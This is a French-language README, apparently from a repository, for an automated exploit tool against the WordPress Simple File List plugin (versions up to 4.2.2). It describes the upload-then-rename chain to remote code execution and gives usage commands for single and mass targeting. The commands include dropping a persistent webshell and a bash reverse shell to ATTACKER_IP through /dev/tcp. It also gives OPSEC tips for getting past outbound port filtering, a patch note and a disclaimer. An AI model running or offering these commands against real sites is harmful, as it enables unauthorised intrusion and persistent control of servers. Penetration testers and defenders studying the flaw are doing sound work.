CVE-2025-34085 — WordPress Simple File List RCE non authentifié

Un exploit automatisé pour CVE-2025-34085 (doublon de CVE-2020-36847), une vulnérabilité critique d'exécution de code à distance non authentifiée dans le plugin WordPress Simple File List versions ≤ 4.2.2.

Note : CVE-2025-34085 a été rejeté par MITRE comme un doublon de CVE-2020-36847. La vulnérabilité est réelle et corrigée dans la version 4.2.3. Les deux identifiants CVE font référence au même problème sous-jacent.

Résumé de la vulnérabilité

Fonctionnement

1. Téléversement — Une charge utile PHP est téléversée déguisée en fichier .png via le point de terminaison de téléversement du plugin (ee-upload-engine.php). Le moteur de téléversement valide les extensions mais accepte les fichiers image.

2. Renommage — La fonctionnalité de renommage du plugin (ee-file-engine.php) n'applique pas de restrictions d'extension. L'attaquant renomme le .png en .php (ou .phtml, .php5, .php3).

3. Exécution — Le fichier PHP renommé est maintenant accessible et exécutable dans le répertoire des téléversements à /wp-content/uploads/simple-file-list/, donnant à l'attaquant une exécution de commande arbitraire.

Prérequis

pip install requests colorama

Python 3.6+

Utilisation

Cible unique

python3 CVE-2025-34085.py -u http://target.com --cmd "id"

Cible unique avec commande en ligne (sans paramètre ?cmd=)

python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline

Analyse de masse

Créez un fichier targets.txt avec une URL par ligne :

http://target1.com
http://target2.com
https://target3.com

python3 CVE-2025-34085.py --cmd "id"

Arguments

Astuce : Utilisez --inline lorsque vous avez besoin d'un reverse shell ou lorsque la cible a un filtrage de chaîne de requête. Sans --inline, l'exploit dépose un webshell qui accepte les commandes via ?cmd=.

Sortie

Les exploits réussis sont enregistrés dans vuln.txt :

http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)

Notes OPSEC pour l'OSCP

• L'exploit téléverse un fichier PHP sur le disque — cela laissera des artefacts
• Le webshell persiste dans /wp-content/uploads/simple-file-list/<random>.php
• Les téléversements réussis sont enregistrés localement dans vuln.txt — utile pour votre rapport
• Pour l'examen, utilisez --inline avec un reverse shell pour éviter de laisser un webshell persistant avec ?cmd=
• Si la cible bloque les ports sortants, essayez les ports autorisés courants (80, 443, 53)

Références

• NVD — CVE-2025-34085
• NVD — CVE-2020-36847
• Avis Wordfence
• Module Metasploit
• Journal des modifications du plugin (correctif)
• Exploit-DB #48979
• PoC original de coiffeur — Exploit-DB #48349

Correction

Mettez à niveau le plugin Simple File List vers la version 4.2.3 ou ultérieure.

Avertissement

Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester.

Crédits

• Découverte originale de la vulnérabilité : coiffeur
• Script d'exploit original : 0xgh057r3c0n, B1ack4sh (Ashwesker)
• Maintenu par : 0xgunrunner